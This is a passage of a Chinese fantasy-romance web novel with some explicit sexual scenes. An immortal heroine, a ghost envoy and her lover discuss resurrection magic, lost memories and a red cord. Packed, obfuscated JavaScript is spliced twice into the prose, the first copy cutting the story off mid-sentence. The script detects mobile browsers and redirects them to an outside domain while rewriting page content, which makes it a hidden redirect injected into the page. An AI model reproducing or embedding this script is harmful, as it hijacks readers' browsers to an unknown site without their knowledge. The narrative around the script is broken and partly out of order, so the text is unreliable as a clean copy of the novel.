不知不觉间,一面欣赏着神界绝美景象,顾辞领我到了一棵似是这霜洲地界最粗壮的神树下。 万丈冰崖之上,神树巍然矗立,树干如玄冰雕琢,树冠直入云霄,隐没在缭绕的仙雾中。 “往北便是昆仑,西王母居所。”顾辞站在我身侧,指向远处,他的声音很轻,“神树之冠已越界生长,延伸至天宫的部分,成了神鸟栖息的枝桠。” 我低头望去,冰层之下,隐约可见粗壮的树根盘错——那是千万年前的天河遗迹。更令人心惊的是,树根上隆起的部分,分明是长眠于此的亡者遗骸,与神木共生。 “玉笛,我想将她们埋葬于此。神树会替我守护她们。” 我轻唤,青光如水般流淌而出。青光中,三张熟悉的面容如烟似雾,温柔地掠过我的眼前,最终沉入冰土,与那些古老的根须融为一体。 “啦啦啦啦啊……” 我哼起那首姜妍教我的小调,凄美婉转的旋律,是我最后与她们诉说的话。 顾辞静立一旁,不知为何,竟让我感到一丝莫名的熟悉。 “凡人死后会堕入轮回。仙子还有机会与他们再见的。” 我苦笑道:“我只祈祷她们不再与我相见……不再因我不幸……” 冰崖上的风卷着碎雪,在神树周围打着旋儿。我拢了拢衣袖,问一旁之人。 “道长会观面相,帮我算一命呗。” 顾辞浅笑,与我一同在神树下盘腿而坐。 “好啊,仙子想算什么?” “算……都算!姻缘、寿数、前程。” “还是个贪得无厌的仙。”他轻笑,眼底映着树影。 我抬手低着下巴,“那先算姻缘吧,我的归宿……是他吗?” “仙子心中早有人选?” “嗯。从再次醒来睁眼看到这个人世间起,我便认定了他。” 顾辞忽然倾身:“那为何还与别的男子欢愉?” 我垂下眸子,手指不自觉地抓挠自己。 “真的不是我找借口!是因为一种……莫名的负罪感。冥冥之中有个声音告诉我,这是我欠他们的,这是债,得还……听上去好像个人渣……” 他话锋一转,“神像曾于山洞中告知,找到九男九名,至今进度如何?” “九男虽没凑齐,不过找到了真名……对了道长!神像——不对,大仙骗了我!说好得到真名便可唤醒记忆的。难道是因为九男没有凑齐?” “是的。” 果真如此。我稍微安心了些。 “还记得他们和自己的名字们吗?” “嗯。”我掰着手指数,“闻笙、颜……咳咳,宁安桥,夏逸飞?拓跋枭应该也是……我的名字有齐风、楚风、赵风、燕风?就这些。” 顾辞若有所思地点头。 我追问:“真的有九个人吗?我怎么觉得不对呢?道长可知我还有几人没遇到?” “只有一人。” “啊?!那就更不对了。” 我扶额低笑,笑声在冰崖间轻轻回荡。顾辞静默地望着我,眸中映着神树斑驳的影。又一只神鸟掠过天际,羽翼搅碎细雪纷扬。 “罢了。这些前尘旧事,就到此为止吧。” 我望着渐飞渐远的神鸟,怔忡良久。待收回视线时,恰与顾辞四目相对。他眼中似有千言万语,却又沉寂如深潭。 “此曲名为《天上月》。”我轻抚玉笛,“顾影海底月,辞眸心上人……道长可知此曲的后半句是什么?” “知道。” 他声音很轻,却字字清晰: 顾影海底月,辞眸心上人。 笛声沉碧浪,夜色没孤身。 潮信终难至,音书岂易闻。 白梅吹作雪,青丝染霜痕。 “笛声、白梅、青丝……”我猛地攥紧玉笛,声音不自觉地发颤,“道长可知此曲的作者?!” 顾辞唇角微扬道:“仙子不是已经猜到了?” “是你?” “……我果然不该相信仙子重生后脑子会灵光一些。”他忽然仰头佯装叹了口气,“仙人要生气咯。” 心尖忽然泛起柔和的月光。恍惚间,我看见海岸边那道孤影——玉笛横吹,白梅纷落如雪,几缕霜色爬上他的青丝……这个画面让我心头一颤。 “仙人他……为何从不肯将这些心底愁绪告知与我?” “只手遮天的仙人,总对你,绊住了脚。看得让人着急啊。” “顾辞和砚清,认识?你是他那为挚友?” 他轻笑出声,“挚友算不上,不过做了见不得光交易的盟友。” 我小声嘀咕:“阴差和仙人能做什么交易……” 顾辞的眸光闪过一丝不可置信。 “仙子变聪明了呢。” “我说过,你身上的味道,很特别。” 顾辞没有立刻变回黑无常的样子,而是将刚才的红绳递给我。 “仙子曾遗留在此的红绳。” “意思是,我曾到过霜洲地界?为何而来?也是相同的理由吗?” “不。那一次,是愤怒到极点的仙子,来此消气。” “我和谁吵架了?” “会是谁呢。” “好吧……是他。” 我收下红绳,说:“我和砚清,当真从未修成正果吗?重生两次,都没有吗?” 顾辞撑着下颌,“罢了,看你们看得我干着急。直接告诉仙子吧,第一次重生后劫数就该尽了,哪晓得两个白痴吵了一架,冥顽不灵的南风仙子自暴自弃,又摆脱了本该定下的结局。” “你这叫直接告诉我吗……我还是听不明白啊。” 他看着上空的浮云,“点到为止,留给你和仙人交流的机会。” 我沉下眼眸,没再说话。 在神树下跪坐了许久,直到双膝发麻,我才缓缓起身,拍落衣上积雪。 顾辞略微侧身问:“要走了吗?” “嗯。目的达成,我也该去下一个地方了。” 他不紧不慢又问:“去哪儿?” 我仰头望向高耸入云的神树,树冠尽头,仿佛有孤鸟的影子掠过。 “西洲孤岛。旷野。” “还有件事。事关这红绳。仙子握在手中的,只是一半。” “还有另一半?” “这是凡人之物,我可是冒着灰飞烟灭的危险把它从地府偷来交给仙子。日后,可别说我坏事干尽,没做什么弥补过失。” 他的声音越来越轻,我的心越来越沉重。 “一根红绳……怎会……” “触及生死。好比已死之人,不多时又从棺材里坐起来,此为‘违背天道’。无论仙,无论鬼,都会受到惩罚。” “那你还——” “因为你。” “……我?” “信州地牢那日,三千多岁的仙子第一次在我面前露出那般表情。早已无了七情六欲的我……竟生出了悔意。” “黑无常……” 自责情绪疯长蔓延,在他眼里,我恍惚看见,死潭泛起波澜,烟波流转……我甚至,也动了心。 “你如果被发现,会变成什么样?”我心有余悸地问道。 他沉吟片刻。 “新的黑无常会接任我的工作。” “……” 红绳变得滚烫,我在想该不该还回去。 哪怕他不过阴鬼,我的命或许不重要,但他,很重要。 一根红绳换一个黑无常,不该迟疑。 但在看到黑无常眼中慢慢爬上得逞之意,我才察觉他是在故意逗我。 气得我二话不说一脚踹上去。 “不许拿这种事逗我!” “抱歉,我只是没想到……你会这么在意我。” “不行吗?” 见我如此坦率的承认,黑无常反而不“笑”了。顿了顿,稍稍低头。 我第一次在阴鬼脸上看到了近乎凡人愉快的表情。 “行,我高兴还来不及。” 告别顾辞后,我独自沿着神树盘虬的树干前行。冰晶在脚下碎裂,发出细碎的声响,像是谁在轻声耳语。神鹿不知何时跟了上来,鹿角上凝结的霜花随着步伐轻轻摇晃。仙鹤遇见同类,兴奋地振翅鸣叫,羽翼拍打间洒落细碎的光点。 我取出玉笛,吹响《天上月》。笛声悠扬,冰层下的河流竟泛起粼粼波光,映出一轮并不存在于天际的明月。 天地缓缓,神灵息静。 当我驻足在树干尽头,正想最后望一眼霜洲全貌时,背后突然袭来一阵罡风。 “南风—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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瓷碗与木案相触,发出清脆的“咔哒”声。 “为何?” “罪孽深重之人,不配苟活于世。来此之前,我已经下定决心的。” “你做了什么吗?” 我侧躺着蜷缩起身子。 “我做了太多,错了太多。一世一错,世世皆错……一错再错。濒临死亡的某个瞬间,我看到了自己。明白了自己为何两次奔赴旷野,两次祈求起死回生。若我是大仙和砚清,我也不会帮自己。自己酿下的错,终究要自己去偿还。” 顾辞轻笑着漫不经心道:“人死了可以坠入轮回。神死了,可就说不准了。” “不更好吗?没有来生,便不会再霍霍人间。” 沉默如雾弥漫。 顾辞突然无缘由地说道:“霜洲地界有一面水镜。是当年桑竹仙子遗留下的,可以窥探未来和过去。” 我茫然询问:“桑竹仙子?那是谁?” 顾辞浅笑着,将凉至温热的汤药再次递给我。 “喝吧。待会儿,我带你出去走走。” 霜洲的雪永远不紧不慢地落着,踩上去发出细碎的声响。起初我还跟在他身后,循着那些浅浅的脚印。可走着走着,脚步不自觉地加快,竟渐渐走到了他前头。 “莫要走得太快,小心摔——” 他话没说完,我已经一个跟头栽进雪里。 顾辞的叹息混着风雪传来,我却已拍着衣袖起身,固执地继续向前。 “慢点……” 身后传来他的声音,我却恍若未闻。雪原辽阔,四野茫茫,我像只无头苍蝇般乱转。时而拨开垂落的冰凌,时而绕过突兀的冰柱。可无论怎么走,都寻不到当初进来的那条路。 顾辞的目光落在我蹒跚的脚步上,他看出了我是往来时的入口方向走,直言道:“你走不出去的。” 我顿在原地。 “为何?” “霜洲地界处在人神两界之间,为避免凡人走入神的领地,这里设置了屏障。凡人只可走到人界,神倒是无所谓。但像你这种……半人半神的,永远无法靠自己离开。” 他突然抬手推了我一把,虚弱的身体站不住脚,被他推倒在松软的雪地里。 顾辞蹲下身,望着我安详躺在雪里的我,忽然伸手拂开我眉间积雪: “过几日会有人来见你。且先安心养伤吧。” 雪地里意外地让人心神宁静。 “顾辞。” “仙子请讲。” 我望着他映着雪光的侧脸,“这副模样,是我曾让你变成这样的吗?” 顾辞笑笑,“贫道不懂仙子话为何意。” “你不必变成常人的模样,我更习惯你黑漆漆的阴差相。” “仙子先习惯着吧。神界与地府多少有些瓜葛,我不便变成那副模样。” 沉默在雪地里蔓延。 许久,我终于开口:“你好像,一直都跟着我。从光州,到信州,到东凉,再到霜洲。为何?” “仙子猜是为何?” “我说不出口。你直言告知与我吧。” “除了我,还有一人默默跟着仙子。或许此刻,也躲在什么地方偷听我们说话吧。” 说话间,他抬眸四处张望。 我知道他说得谁。 “可你说神鬼殊途……你们如何认识的?” 顾辞忽然笑了,眼底闪过一丝狡黠。 “为了救活一个叫贺祈源的凡人。” 90. 霜凝漱雪 “救活……贺祈源?” 我怔愣看着他,顾辞阴笑着俯身靠近。 “仙子莫非以为,世间只有西洲孤岛的起死回生之术可以救活人命?天界有天界的法子,地府……也有自己的起死回生。” 霜雪凝滞,四目相对良久,顾辞未再言语,反而越靠越近。从他身上散发出的血腥气息越发明显,恍若……那夜云端上飘洒下的味道。 他阴测测地笑着,指尖划过我腕间。 “这可是瞒过了方大仙的法子啊。” 我没去听顾辞的话,一心钻回那夜相同的气味上。 柳砚清去过地府?是为了救活贺祈源之事吗? 我屏住呼吸,看着顾辞越靠越近,他却在即将触及的瞬间突然顿住。 他抬眸望向远处,嘴角勾起一抹玩味的笑。 “仙子恨他吗?” “对我来说,最难过的是他从未对我坦诚过。他对我隐藏的秘密太多,我怕……我怕哪天一股脑知晓,我会受不了。” “那就是不恨了。” 我诧异地疑惑了声,顾辞不再说话。 “你继续说啊?”我催促道。 他仍旧不语,只侧头望向斜上方。 我顺着顾辞的视线看向远处白雪皑皑的悬崖上。 “……砚清?” 悬崖之巅,柳砚清一袭白衣猎猎,眉目如刀。 他单手负在身后,另一只手中金光隐现,随时准备出手的架势。 顾辞直起身笑道:“既然仙长亲自来了,这故事的后半段……就请仙长亲自讲给仙子听吧。” 话音未落,他的身形已化作黑雾消散,只余一缕血腥气萦绕不散。 “说好的来入口处等我的。” 我杵在原地,看着仙人踏雪而来。 柳砚清浅笑道:“有顾辞引路,正好让你同他说说话。” 他知道顾辞在此?知晓顾辞要同我说这些?然后……又把“人”吓跑?? 我挽上他的手臂,歪头靠上他的臂膀。又想想看不见脸,转了个身,环住他的腰靠近他的胸膛。 “砚清,”我闷声问,“顾辞……黑无常的话,是何意?” 柳砚清不语,抬眸看了眼头顶压低的乌云,掌心拢住我冰凉的手指。 “要下雪了。” 积雪被仙力分开,在我们脚下铺就一条小径。神鹿衔着萤火走来,照亮他欲言又止的眉眼。 “你到底还有多少事没有告诉我?幻境里不是说好坦白一切吗?” “这项术法,独独不能告诉你。” 我猛地甩开他的手,一屁股坐在结冰的湖面上。 “现在也不能吗?!” 柳砚清无奈地挨着我坐下,说道:“以仙鹤为皿,重塑魂魄。待施术者忆起逝者音容,便可魂归本体。” “你话没讲完。” 但凡柳砚清说得模棱两可的话,一定是还有所隐瞒。 他果然怔了怔,失笑道:“需一仙百年修为,一仙全部神力,二仙之力与残破灵魂注入仙鹤,待启术之人忆起死者的生前与容貌,灵魂铸造完成。” 二仙之力…… 我心疼地抚摸他此刻尚是墨黑的发。 “所以你的头发……百年修为,不就是你所有的修为?” 他轻轻捉住我的手腕,在我掌心处蹭了蹭。 “我是绝世仙骨,百年修为能抵千年。” 我抿唇垂下头,眼泪砸在冰面上,融出细小的坑洼。 “对不起……” “为何又道歉?” “难道不是因为我吗?” “我有说是因为你吗?” “不是吗……” 砚清所作的一切,都是为了我吗?他与贺祈源无缘无故,何苦煞费苦心去救他? 除非……是我…… 他的手掌轻轻托起我的脸颊,指尖的温度融化了眉间的霜雪,柔声道:“我是心甘情愿救那人。悬壶济世,不问缘由。你不是一直记得这句话吗?” 东凉皇宫与阿丘说过的话,他真的听见了。 我突然扑进他怀里,双臂紧紧环住他的腰身。 柳砚清被撞得微微后仰,却立即收拢手臂,将我牢牢锁在怀中。 “砚清,你不要离开我好不好?” 沉闷的声音带着湿漉漉的颤意。 他低笑时胸腔的震动清晰可闻:“我何曾离开过你?” “暗处也不行!”我抬头瞪他,“我要一抬眼就能看见你,一伸手就能碰到你。” 尾音几乎消散,我没骨气地抽噎,咽着把脸埋回去。 “别再留我一个人啊,干嘛老欺负我,看见我难受你开心吗……” 柳砚清的下巴轻轻抵在我发顶,怀抱收得更紧。 远处神鹿呦鸣,惊起一树流萤,照亮他垂眸时眼底的水光。 “怎会开心得起来……如刀剜心,蚀骨之痛……” 以仙鹤为皿,重塑魂魄。待施术者忆起逝者音容,便可魂归本体。 莫非我就是那施术者?待我记起贺祈源的模样,便可将他起死回生? 方大仙宁愿看着亲生女儿赴死都不愿相救的人,为何柳砚清甘愿折损百年修为也要救? 又是我…… 是我散尽神力不够,还要拖他下水,只为救活一个……情敌? 柳砚清当真是魔怔得厉害啊。 洞外飞雪连天,霜洲陷入一片苍茫死寂。我摩挲着手中褪色的红绳,思绪恍惚。 手中是顾辞归还与我的红绳,我看了眼红绳,又回头看了眼走到我身边的柳砚清。 “夜深了,还不歇息吗?” 他走到我身侧,撑开披风揽住我的肩头。 我昂首盯着仙人雕刻般的下颌线,思绪恍惚。 “双手,伸出来。” 他眉梢微挑,却仍顺从地摊开掌心。 我拽过红绳,东凉学来的捆缚手法在仙人的手腕上缠出鲜红的结。 他晃了晃被缚的双手。 “这是要……将我缉拿归案?” “虽然不知道颜大人是怎么做到一面在信州当知县,一面在神山当仙人。眼下,乖乖束手就擒吧。” 他任由我牵引,眼中漾着纵容的笑意。 “好。南风大人要怎么罚?” 我牵引着绳子,后退着将他拉入洞中。 洞内火光将我们交叠的影子投在石壁上。 恍惚间,我听见自己发颤的声音: “荼蘼花事,豆蔻香残。雨晴烟晚,奈何绵绵……八年前,我为何从婚宴上离开?” 柳砚清望着我,摇头不知。 我低垂眸子,浅浅道:“这……只是我的猜测。是我怕负了你,怕弱小的自己配不上你。” 我猜八年前的婚宴,我站在知县府门外迟迟不肯踏入庙堂。然后在颜卿看破不说破的了然中,转身离开。 那句我被人抓走的话,是他偏过旁人的谎言吧。 “三千年的仙子怕配不上二十来岁的凡人吗?” “你可是颜卿啊!当吴盼秩说要带我去军营时,我竟然……觉得庆幸。筹备婚宴的那些日子,我日日都在想……是不是该嫁给你……我是不是真的可以嫁给你……” 退至床榻边,我轻推,砚清跌坐床沿。我欺身上前,跨坐在他身上。 “我真的值得你如此疯狂炙热的爱吗?我可是来者不拒,和所有人男人都上了床的下流之人啊……” 两滴豆大的眼泪落在柳砚清的双颊上。被捆绑的双手举起,用手背蹭去我脸上的湿润。 “因为柳砚清……当真是魔怔得厉害啊。” 他说完,自己先笑了。 洞外风雪呜咽,他贴着我的唇呢喃:“我能听见你的心声,我知道你想的是什么。” “那你——” “对我而言,你活着,比什么都重要。” “你这个……疯子。” 捆缚的红绳突然化作齑粉,又在桌面聚拢如初。柳砚清扬起一抹笑意,扣住我的后脑凑上前靠近,额前的发丝勾连在一起。 “信州府狱中我说过,这一次,换我来守护你。用这唯一的办法……我不能……再看着你离开我了。” 炽热的吐息淹没在交缠的唇齿间。 他的舌尖抵开我的唇缝,带着沉水香的温热气息瞬间侵占所有感官。我下意识攥紧他胸前的衣襟,却被他扣住手腕按在榻上。 柳砚清的吻像一场突如其来的暴风雪,舌尖扫过上颚时激起阵阵战栗,齿尖不轻不重地磨着我的下唇,在疼痛与酥麻间反复辗转 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“都怨你。今夜要往深了惩罚你。” 仙人的墨发披散压在身下, “悉听尊便。” “夸我。” “只需听夸奖之词?” “这只是第一项!夜长着呢。” 修长的手指试探性的在我的腰肢处行走,惊起一阵战栗,模糊听见有人发出吃痛一声。 “爱胡思乱想。轻信他人。凡事都往自己身上揽。” “真的是在夸我吗……” 冰凉的指尖,尖端抵住我的唇、颈、口……指尖探入,在口中扰乱一切…… “我还没讲完呢。每次交欢都会下意识喊出我的名字。嘴上喊,心里喊……” 张合的唇瓣亲吻我的心口。 “这里一直住着我,想着我,渴望我。” 仙人明亮的眸子抬起,我垂头撞进他的眼眸深处。 “这副表情,只在我面前出现。” “什、什么表情?” “抛却杂念,恼我磨磨蹭蹭的表情。” 呼啸而来的翻江倒海,我像骑在马背上,无法控制脱缰野马。 春景旖旎,起伏的山脉和虚幻成影的绿意,在惊破天际的呼喊中坠入温暖。 我靠在汗湿的身体上,聆听他的心跳。 “还要听……听你唱歌……” “我不会唱。” “不会唱曲,却为我写了首曲子?” “没人规定会写必定会唱吧。” “那你念给我听……所有。几年、几十年、几百年,你为我写的所有,都一一念给我听。” “夜已过半,怕是念不完了。” “我不管。在你念完之前,我们……” 我伸出一条腿勾住他的腰,带着配合我的步调与他翻了个身。墨发垂落,摩挲过脸庞。 “缠绵不休。” 他低笑捧起我的脸,指腹轻轻摩挲着我的脸颊,眼底似有万千星辰流转。 洞外的风雪声仿佛在这一刻静止,世间万物都化作虚无,唯有他的气息萦绕在鼻尖。 “听你的,夫人。” 低哑的嗓音刚落,砚清的唇便覆了上来。 不同于方才的炽热掠夺,这个吻温柔得近乎虔诚。 他轻轻含住我的下唇,舌尖缓缓描摹着我的唇形,带着无尽的眷恋与疼惜。 我闭上眼,感受着他每一次呼吸的起伏,每一次心跳的震颤。他的吻渐渐加深,却又克制着不敢放纵。 当他终于稍稍退开,继续着下一步,微喘的气息拂过我的唇角。 “顾影海底月,辞眸心上人……” “仙人写的曲子,被我拿去给了别人作名,不生气吗?” “这句诗……原是你的笔墨。那年,你我尚未相逢。你第一次离开后,昏睡蓬莱第几宫时,坐于礁石边思念成疾,擅自用了你的话,做了这首《天上月》。” 我拥住轻轻浮动的他,似要将他镶嵌进身体,再不分开。 “你若再离开我,可真要再看着我死在你面前了。” 91. 昨夜霜风 凡心是什么? 黑无常或许从未细细想过南风仙子第二次赴死后,在地府向他抛出的问题。 身为阴差,他早已记不清自己作为凡人时的模样。千百年勾魂索命,那些痴男怨女的眼泪不过是生死簿上的一滴墨渍。 可南风不同。 她总在轮回的边缘徘徊,像一盏不肯熄灭的灯。 比起搞不懂自己对她的感觉,他更看不惯那两人生来死去,不知消停的纠葛。 “地府最近好安静啊。方大仙跑了两次要人,他不来,都没人踏足此地咯。” 白无常站在阎王殿门前,抱着怀中已经成形的婴儿感叹道。违背天理养育出的仙骨,这一天,终于到了。 阎王殿前忘川水静止如墨,往日夜夜不绝的哭嚎声竟都沉寂了。 黑无常侧目看向即将成人的绝世仙骨,又望向大门紧闭的阎王殿。 “进去吧。” 推开殿门的刹那,陈年的香灰簌簌落下。审判亡者的阎王殿已尘封许久。 掌管生死轮回,主宰地府的君主啊,屹立了忘川河畔数万年的身躯正在濒临最后的崩解。 地府不可一日无主,需尽快确立新君以镇幽冥。 那本可以窥探凡人命数的书,这次,竟写上了南风的名字。 “与绝世仙骨的百年仙人连理,又恰逢星君下凡……” 黑无常看中了南风仙子腹中的绝世仙骨。 这个念头,自他窥见南风与柳砚清月下缠绵时便已萌生。 绝世仙骨与方大仙的孩子,诞下的子嗣结果已是必然。 彼时阎王虽知大限将至,却始终紧握权柄不放,直至病入膏肓神智昏聩,仍未选定传人。 前尘往事如走马灯闪现: 光州城内,南风玉笛染血,凡人闻笙以金银铺路,替她掩去杀孽。仙子愧疚难当之际,黑无常适时现身。 “以玉笛为质,可偿其所愿。” 他这般说着,将染血的神器纳入袖中。 “待来日,再以此笛索要报酬。” 至于柳砚清,他岂会不知?不过是各取所需。 黑无常予他另一道“起死回生”的秘术,助他绕过方大仙的禁制。 什么凡人能让柳仙人复生两次? 果不其然,那凡人命簿上写了风流仙子的名字。 黑无常曾调侃柳砚清,一旦碰上南风仙子的事,他便跟失了智似的,全然没脑子。 柳砚清救回第二次奔赴旷野的南风后说的什么话? 他说:“那既是她冒死也想完成的夙愿,我怎可置之不理。” 旷野上没法说话的人,将一切压在了灵魂相锲之人身上。所幸,他都听见了,都替她实现了。 “阎王……” 床踏上的地府之君油灯枯尽,身体裂开无数条裂缝,幽蓝冥火自缝隙间流淌而出,将帷幔映照得如同幽冥鬼域。 白无常抱着每走一步便趋于婴儿出生时样子的绝世仙骨,缓步走到床榻边。脚步停下时,婴儿声打破寂静。 但很快,绝世仙骨睁开眼,看了眼头顶上方的一黑一白,又安静地阖上双眼。 “他这是……死了?”白无常询问身旁之人。 黑无常摇头,不疾不徐开口道:“绝世仙骨自降世起,便知晓自己此生所走之路。疏花元君诞下砚清时,一睁眼,他便知自己要被立刻,背着天君偷摸离开蓬莱仙岛,于是,啼哭声骤然停止。” “这么神……” “这可是绝世仙骨,百年都不见得会一遇天降仙君。若不是我们抢先一步,只怕那天君,也会夺了去。” 婴孩被安放在垂死者身侧,甫一接触床榻便泛起月华般的光晕。 黑白无常伏跪于地。彼岸花海,忘川河畔的阴差亡灵同一瞬间听到了召唤,伏跪于地。 “恭迎新君。” 忘川水突然沸腾,万千亡魂的恸哭穿透九幽。在剧烈翻涌的冥雾中,那具小小的仙骨正在吞噬旧主的最后一点神格。 待他再次睁开眼,地府迎来它新的君主。 【逆梦归尘】 黑无常想起经历的长夜,似将他抛却的人,曝身于霜洲地界神树之下,冰霜之上。 “我与仙子每次见面都格外有趣呢。” 我躺在深厚的雪地里,不用睁眼便知道来者是谁。 “霜洲地界也有亡魂要收?” “寻神石者前赴后继,雪地里埋的残骸也数不胜数。” “真好啊……能死,能轮回,能忘记一切。” 雪花落在眼皮上,凉丝丝的。耳畔的铁链突然“哗啦”作响。 “仙子这是觉得自己活够了?” 我缓缓睁开眼,感受一片雪花落进眼睛里。 “也许吧。至少死了,就不必记得那些不经过脑子的话了……爹爹就不该救我,让我死了多好。” 黑无常蹲下身,带着血腥味的阴冷气息靠近。 “跟我说说?跟谁起了争执拌了口角?” “一个笨蛋,白痴,疯子。” “所谓何事?能让仙子那么生气?” “他拒绝了与我的婚事。” 黑无常讥笑声道:“成亲有什么好的?真搞不懂。” 我翻了个白眼,“你是鬼,当然不懂。” 他叹息着起身,渐行渐远。 “仙子小心别被落雪埋了,贫道有事,先行一步。” “等等!” 我忽地起身喊住他。 “忙完你手头的事,来北边的山洞寻我。” 黑无常装不不解的神情。 我言:“寻欢作乐。” 霜洲地界的洞穴中常有修行者在此暂居,也因此,大多山洞内都布置得和寻常人家似的,床具桌椅一样不差。 哥哥常来霜洲地界收集锻造神器的材料,北边的山洞便是他打造出的。 与柳砚清吵完架,关在蓬莱第几宫越想越生气,哥哥便叫我来霜洲地界冷静冷静。 初来乍到,满天的白,藐视一切的神树,确实心静不少。 遇见黑无常之前,未曾想过以自暴自弃的方式发泄。 此次复生后,原本丢了段记忆变得神经兮兮的,好在柳砚清陪在身边,一切都没那么重要。可正当我提出与他结为连理时,他竟然拒绝了! 柳砚清!竟然!拒绝我!不可理喻! 那句不愿意就像被下了某种诅咒,常在夜里扰我无法安睡。 白痴!我发誓绝对不再见他!到死也不见! 黑无常离开后,我躺在冰冷的石台上沉静许久。无法入睡,我便起身披衣,飞出山洞走入霜雪里。 长夜漫漫的霜洲地界,就连神鸟也歇息于洞中,百兽陷入沉睡。安静的一切,让黑夜里突兀的绸伞显得格外晃眼。 那人站在神树下,自他方向吹来的风裹挟了淡淡的墨香。 “枕书君。” 伞下之人回眸望向我,露出清俊面容,勾唇浅笑。 “好久不见,南风。” 我走到他身边,随他的视线昂首凝望神树顶端。 “忘记改口了,姐夫。” 凡间游荡的期间,枕书君与二姐匆忙成婚,不过一夜洞房,云枕书逃至霜洲地界,带走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056804|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了数以万计的书,不敢再回蓬莱。 云枕书从袖中取出一卷卷轴,示意我展开。 “桑竹仙子遗墨,无人说过不能给你看。” “所以你就这么直白的给我了?” “书关四位仙子的未来,南风不想看看?” 我推回云枕书怀中。 “不必。” “与砚清有关也不看?” “那就更不看了。” 云枕书看出了我心绪,笑问:“和砚清吵架了?” 我冷哼了声,云枕书大笑着收起手中的绸伞。 “砚清自小性子就这样,仁爱之心,大爱之心,大得有点魔怔了。” “枕书君也这么觉得?” 我似是找到了志同道合的盟友,激动得音调都拔高了些。 云枕书说:“我与他自小相识,在清溪山共度过一段时光。医者大爱我是理解的,不过他对你,确实走了偏激。” “只是对我吗?” “南风认为呢?” 我沉下眸子,“不知道。我只知道他脑子有病!” “跟姐夫说说,因何事而吵?” “因为他不肯与我成亲!” 云枕书发出了然的声音,“这事儿,可就不能怪他了。” “怪我?” “直白点说……是的。” “为、为何?” “你可是与他婚宴上明目张胆丢下他逃走的人啊。” 我僵在原地,仿佛被雷劈中。 “……我???” 云枕书的书洞幽深曲折,穹顶高阔如倒悬的山谷。无数书架凌空悬浮,错落层叠,青玉为架,缥缈的灵气如薄雾缭绕其间。 数只灵鸟栖于书脊之上,羽翼泛着淡淡的银辉,见人进来,也不惊飞,只是歪头打量。 取书之事,全由它们代劳。只需云枕书一个眼神,便有飞鸟振翅而起,衔来典籍,轻落案前。 “他……有来过此地吗?” “我刚搬来时,他来看望过我。不过医鹿山事务繁重,除了要紧之事,他不会亲自跑一趟。” 我简单说了复生后记忆的残缺,云枕书静默片刻,指尖轻敲案几,一只白羽鸟立刻衔来茶盏,搁在他手边。 “西雨确实抹掉了段记忆,关于你与砚清化身的凡人颜卿之事。抱歉,我并不知道你与颜卿在信州发生过什么。不过……”他突然皱眉,“怎么连贺祈源也忘了?” “贺祈源又是谁?” 洞内幽光浮动,映得他的神情晦暗不明。他未直接回答,只是反问:“你就没细究过自己怎么跑旷野去了?” 我怔了怔:“没……因为这个叫贺祈源的人?” “嗯。他为救你,惨遭杀害。少年的将军梦尚未完成,你为救他,去求大仙和砚清。大仙不许,砚清也无能为力。你便跑去旷野,想求起死回生之术。” 空白的记忆里生出一阵痛苦。 “那他的记忆……又如何消失的?” 云枕书指尖一抬,一只青鸟振翅飞向高处,从某座悬浮的书架深处衔来一册古籍。书页泛黄,边缘微卷,显然年代久远。 “旷野上可有遇见蜉蝣?” “没有。” “蜉蝣会吸取记忆,啃食□□。若没有……” 他又叫飞鸟取来另一本书。 “作者不详,未必可信。书中说,若有人死而复生,为其求生的那人,可能会遗忘与之相关的记忆。” 我心头一震,书洞内的灵气仿佛骤然凝滞。 “你是说……有人背着爹爹,用了起死回生之术?!” 92. 庭树霜凋 “抱歉,此事牵涉重大,他终究是我最重要的挚友,恕我不能详述。不过以南风的聪慧,终有一日会明白一切。” 也得是云枕书,说什么都让人生不出气来。 我略一思索,轻声道:“……枕书君方才所言,不正是已经告诉我幕后之人是谁了吗?” 他手中的茶盏猛地一颤,险些倾洒。 “啊?!真的吗?快失忆!快失忆!” 眼看他惊慌失措,我噗嗤笑出声。 云枕书的书阁处于霜洲地界高远偏僻之地,隐匿于浮云之间。 须臾间,云雾散尽,天界的第一缕晨光穿透云层,为神树镀上金边,远处的天宫轮廓若隐若现。我伫立洞口,怔怔出神。 那仙气氤氲的琼楼玉宇,与蓬莱诸宫截然不同的恢弘气象。似我这等顽劣散仙,终其一生也难踏足那般圣地。 云枕书踏开薄雾来到我身侧。 “不知元君近日可好……但愿不会因我的离开而遭受非议。” 我噗嗤笑道:“他们敢吗?怕不是话还没出口,人已经揍飞几百里外了。” 云枕书垂下眸子,满腹诗书的人,在面对毫无办法之人,也会词穷到说些无厘头的话。 “元君虽凶,却依旧……美得惊心动魄。” 【逆梦归尘】 神仙的姻缘,说到底与凡人也没什么两样。东婝并非讨厌云枕书这个人,而是—— 她厌极了云枕书这副温吞模样,连她这女子都他有阳刚之气。 “书读百遍,你连交欢都不会吗?!” 撑在她上方的人瞬间涨红了脸。 不是情动时的羞赧,而是被她一巴掌扇出来的红。 “元君怎能说这等话……”云枕书声音发颤,手臂抖得厉害,“我这不是……怜爱你……怕你受苦吗……” “起开!” 东婝一把掀翻他,反身将他按在榻上,俯瞰身上快哭的人用眸光警告着。 “乖乖躺着吧你。” 翌日清晨,云枕书人还未醒,美梦之中又是一掌劈下。 与元君的梦生生被这一记断掌打醒。 “起床,与我去给爹爹上茶。” “……遵命。” 去往蓬莱第几宫的路上,云枕书脸上那两个鲜红的巴掌印,在晨光下格外醒目。不必多问,众仙皆知是何人杰作。 昨日本是洞房花烛夜,众仙看来分明是云枕书的受难夜。 “东婝又在欺负枕书。” 